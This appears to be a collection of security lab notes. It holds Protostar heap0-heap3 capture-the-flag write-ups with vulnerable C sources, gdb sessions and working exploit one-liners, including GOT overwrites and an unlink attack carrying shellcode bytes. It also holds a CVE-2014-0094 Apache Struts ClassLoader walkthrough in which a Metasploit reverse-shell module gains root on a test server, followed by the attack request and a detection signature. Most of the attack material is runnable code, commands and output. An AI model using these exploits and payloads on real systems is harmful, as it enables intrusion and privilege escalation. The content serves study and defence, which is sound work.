   0 <eval(>|  3:BRANCH(5)
   0 <eval(>|  4:  BOL(7)
   0 <eval(>|  7:  CLOSE1(9)
   0 <eval(>|  9:  EXACT <eval(>(12)
   5 <eval(>| 12:  END(0)
Match successful!
Freeing REx: "(^|\s)eval\("


References

http://pcre.org/pcre.txt

# Protostar - Heap


Heap 0

$ cat heap0.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);
  
  f->fp();
}
$ file heap0
heap0: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
$ gdb heap0
(gdb) disassemble main
(gdb) p winner
$1 = {void (void)} 0x8048464 <winner>
(gdb) b *0x080484f2
(gdb) b *0x080484fd
(gdb) run AAAA
(gdb) x/20xw 0x804a008
0x804a008: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a018: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a028: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a038: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a048: 0x00000000 0x00000011 0x08048478 0x00000000
(gdb) c
(gdb) x/20xw 0x804a008
0x804a008: 0x41414141 0x00000000 0x00000000 0x00000000
0x804a018: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a028: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a038: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a048: 0x00000000 0x00000011 0x08048478 0x00000000
(gdb) quit
$ ./heap0 `python -c 'from struct import pack; print "A"*(0x804a050-0x804a008) + pack("<I", 0x08048464)'`
data is at 0x804a008, fp is at 0x804a050
level passed

Heap 1

$ cat heap1.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}
$ file heap1
heap1: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
$ gdb heap1
(gdb) disassemble main
(gdb) p winner
$1 = {void (void)} 0x8048494 <winner>
(gdb) x/i 0x80483cc
0x80483cc <puts@plt>: jmp    DWORD PTR ds:0x8049774
(gdb) x/xw 0x8049774
0x8049774 <_GLOBAL_OFFSET_TABLE_+36>: 0x080483d2
(gdb) b *0x080484ce
(gdb) b *0x080484e8
(gdb) b *0x080484fd
(gdb) b *0x08048517
(gdb) b *0x08048538
(gdb) b *0x08048555
(gdb) b *0x08048561
(gdb) run AAAA BBBB
(gdb) i r eax
eax            0x804a008  134520840
(gdb) c
(gdb) i r eax
eax            0x804a018  134520856
(gdb) c
(gdb) i r eax
eax            0x804a028  134520872
(gdb) c
(gdb) i r eax
eax            0x804a038  13452088
(gdb) c
(gdb) x/16xw 0x804a008
0x804a008:  0x00000001  0x0804a018  0x00000000  0x00000011
0x804a018:  0x00000000  0x00000000  0x00000000  0x00000011
0x804a028:  0x00000002  0x0804a038  0x00000000  0x00000011
0x804a038:  0x00000000  0x00000000  0x00000000  0x00020fc1
(gdb) quit
$ ./heap1 `python -c 'from struct import pack; print "A"*(0x804a02c-0x804a018) + pack("<I", 0x08049774), pack("<I", 0x08048494)'`
and we have a winner @ 1426618179

Heap 2

$ cat heap2.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
      printf("[ auth = %p, service = %p ]\n", auth, service);

      if(fgets(line, sizeof(line), stdin) == NULL) break;
      
      if(strncmp(line, "auth ", 5) == 0) {
          auth = malloc(sizeof(auth));
          memset(auth, 0, sizeof(auth));
          if(strlen(line + 5) < 31) {
              strcpy(auth->name, line + 5);
          }
      }
      if(strncmp(line, "reset", 5) == 0) {
          free(auth);
      }
      if(strncmp(line, "service", 6) == 0) {
          service = strdup(line + 7);
      }
      if(strncmp(line, "login", 5) == 0) {
          if(auth->auth) {
              printf("you have logged in already!\n");
          } else {
              printf("please enter your password\n");
          }
      }
  }
}
$ file heap2  
heap2: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
$ gdb heap2
(gdb) disassemble main
(gdb) b *0x08048942
(gdb) run
[ auth = (nil), service = (nil) ]
auth AAAA
(gdb) info proc map
process 1682
cmdline = '/opt/protostar/bin/heap2'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap2'
Mapped address spaces:

  Start Addr   End Addr       Size     Offset objfile
   0x8048000  0x804b000     0x3000          0        /opt/protostar/bin/heap2
   0x804b000  0x804c000     0x1000     0x3000        /opt/protostar/bin/heap2
   0x804c000  0x804d000     0x1000          0           [heap]
  0xb7e96000 0xb7e97000     0x1000          0        
  0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
  0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
  0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
  0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
  0xb7fd9000 0xb7fdc000     0x3000          0        
  0xb7fde000 0xb7fe2000     0x4000          0        
  0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
  0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
  0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
  0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
  0xbffeb000 0xc0000000    0x15000          0           [stack]
(gdb) x/12xw 0x804c000
0x804c000:  0x00000000  0x00000011  0x41414141  0x0000000a
0x804c010:  0x00000000  0x00000ff1  0x00000000  0x00000000
0x804c020:  0x00000000  0x00000000  0x00000000  0x00000000
(gdb) p &auth->name
$1 = (char (*)[32]) 0x804c008
(gdb) p &auth->auth
$2 = (int *) 0x804c028
(gdb) c
[ auth = 0x804c008, service = (nil) ]
serviceAAAABBBBCCCCDDDD
(gdb) x/12xw 0x804c000
0x804c000:  0x00000000  0x00000011  0x41414141  0x0000000a
0x804c010:  0x00000000  0x00000019  0x41414141  0x42424242
0x804c020:  0x43434343  0x44444444  0x0000000a  0x00000fd9
(gdb) x/xw &auth->auth
0x804c028:  0x0000000a
(gdb) c
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!

Heap 3

$ cat heap3.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
  printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  char *a, *b, *c;

  a = malloc(32);
  b = malloc(32);
  c = malloc(32);

  strcpy(a, argv[1]);
  strcpy(b, argv[2]);
  strcpy(c, argv[3]);

  free(c);
  free(b);
  free(a);

  printf("dynamite failed?\n");
}
$ file heap3
heap3: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
$ gdb heap3
(gdb) disassemble main
(gdb) b *0x080488c5
(gdb) p winner
$1 = {void (void)} 0x8048864 
(gdb) run A B C
(gdb) info proc map
process 1784
cmdline = '/opt/protostar/bin/heap3'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap3'
Mapped address spaces:

  Start Addr   End Addr       Size     Offset objfile
   0x8048000  0x804b000     0x3000          0        /opt/protostar/bin/heap3
   0x804b000  0x804c000     0x1000     0x3000        /opt/protostar/bin/heap3
   0x804c000  0x804d000     0x1000          0           [heap]
  0xb7e96000 0xb7e97000     0x1000          0        
  0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
  0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
  0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
  0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
  0xb7fd9000 0xb7fdc000     0x3000          0        
  0xb7fe0000 0xb7fe2000     0x2000          0        
  0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
  0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
  0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
  0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
  0xbffeb000 0xc0000000    0x15000          0           [stack]
(gdb) x/i 0x8048790
0x8048790 <puts@plt>: jmp    DWORD PTR ds:0x804b128
(gdb) x/xw 0x804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>: 0x08048796
(gdb) x/32xw 0x804c000
0x804c000:  0x00000000  0x00000029  0x00000000  0x00000000 shellcode = [push @winner; ret]
0x804c010:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c020:  0x00000000  0x00000000  0x00000000  0x00000029 [-4] [-4]
0x804c030:  0x00000000  0x00000000  0x00000000  0x00000000 [BBBB] [@got_puts - 12] [@shellcode]
0x804c040:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c050:  0x00000000  0x00000029  0x00000000  0x00000000
0x804c060:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c070:  0x00000000  0x00000000  0x00000000  0x00000f89
(gdb) quit
$ ./heap3 `python -c 'from struct import pack; print "A"*4 + "\x68\x64\x88\x04\x08\xc3" + "A"*22 + pack("<I", 0xfffffffc)*2, "B"*4 + pack("<I", 0x0804b128-12) + pack("<I", 0x804c00c), "C"'`
that wasn't too bad now, was it? @ 1426954122

Reference

https://exploit-exercises.com/protostar/

# CVE-2014-0094: Apache Struts ClassLoader manipulation RCE


Testbed

# wget http://mirrors.ibiblio.org/apache/tomcat/tomcat-8/v8.0.18/bin/apache-tomcat-8.0.18.tar.gz
# tar xvzf apache-tomcat-8.0.18.tar.gz
# mv apache-tomcat-8.0.18 /opt/tomcat
# cat /etc/environment
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games"
export JAVA_HOME=/usr/lib/jvm/java-7-openjdk-amd64
export CATALINA_HOME=/opt/tomcat
# source /etc/environment
# grep -v -E "^(<\!| |-|$)" /opt/tomcat/conf/tomcat-users.xml
<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>
# $CATALINA_HOME/bin/startup.sh
Using CATALINA_BASE:   /opt/tomcat
Using CATALINA_HOME:   /opt/tomcat
Using CATALINA_TMPDIR: /opt/tomcat/temp
Using JRE_HOME:        /usr/lib/jvm/java-7-openjdk-amd64
Using CLASSPATH:       /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar
Tomcat started.
# wget http://archive.apache.org/dist/struts/binaries/struts-2.3.16-all.zip
# unzip struts-2.3.16-all.zip
# find struts-2.3.16 | grep '\.war'
struts-2.3.16/apps/struts2-portlet.war
struts-2.3.16/apps/struts2-blank.war
struts-2.3.16/apps/struts2-rest-showcase.war
struts-2.3.16/apps/struts2-mailreader.war
struts-2.3.16/apps/struts2-showcase.war
# ! From http://10.0.0.2:8080/manager/html deploy struts2-blank.war
# tail -f /opt/tomcat/logs/*

Exploitation

msf > search cve-2014-0094

Matching Modules
================

   Name                                             Disclosure Date  Rank    Description
   ----                                             ---------------  ----    -----------
   exploit/multi/http/struts_code_exec_classloader  2014-03-06       manual  Apache Struts ClassLoader Manipulation Remote Code Execution

msf > use exploit/multi/http/struts_code_exec_classloader
msf exploit(struts_code_exec_classloader) > set rhost 10.0.0.2
msf exploit(struts_code_exec_classloader) > set lhost 10.0.0.1
msf exploit(struts_code_exec_classloader) > set target 0
msf exploit(struts_code_exec_classloader) > show options

Module options (exploit/multi/http/struts_code_exec_classloader):

   Name            Current Setting                           Required  Description
   ----            ---------------                           --------  -----------
   Proxies                                                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST           10.0.0.2                                  yes       The target address
   RPORT           8080                                      yes       The target port
   SMB_DELAY       10                                        yes       Time that the SMB Server will wait for the payload request
   SRVHOST         0.0.0.0                                   yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT         445                                       yes       The local port to listen on.
   STRUTS_VERSION  2.x                                       yes       Apache Struts Framework version (accepted: 1.x, 2.x)
   TARGETURI       /struts2-blank/example/HelloWorld.action  yes       The path to a struts application action
   VHOST                                                     no        HTTP server virtual host


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.0.1         yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Java

msf exploit(struts_code_exec_classloader) > exploit

[*] Started reverse handler on 10.0.0.1:4444 
[*] 10.0.0.2:8080 - Modifying Class Loader...
[*] 10.0.0.2:8080 - Waiting for the server to flush the logfile
[+] 10.0.0.2:8080 - Log file flushed at http://10.0.0.2:8080/vi8294.jsp
[!] This exploit requires manual cleanup of 'vi8294.jsp' on the target
[*] 10.0.0.2:8080 - Generating JSP...
[*] 10.0.0.2:8080 - Dumping JSP into the logfile...
[*] 10.0.0.2:8080 - Waiting for the server to flush the logfile
[+] 10.0.0.2:8080 - Log file flushed at http://10.0.0.2:8080/vi8294.jsp
[*] Command shell session 2 opened (10.0.0.1:4444 -> 10.0.0.2:5555)

whoami
root

Defense: payload and signature

GET /struts2-blank/example/HelloWorld.action?
class['classLoader'].resources.context.parent.pipeline.first.directory=webapps/ROOT&
class['classLoader'].resources.context.parent.pipeline.first.prefix=0Ucn&
class['classLoader'].resources.context.parent.pipeline.first.suffix=.jsp&
class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat=4 HTTP/1.1

Signature name = Apache Struts ClassLoader manipulation
part = "class", rgxp = "(.*\.|^|.*|\[('|\"))(c|C)lass(\.|('|\")\]|\[).*"
Search in : Parameters
Protocols : http, https

References

http://www.slideshare.net/testpurposes/deep-inside-the-java-framework-apache-struts
http://www.rapid7.com/db/modules/exploit/multi/http/struts_code_exec_classloader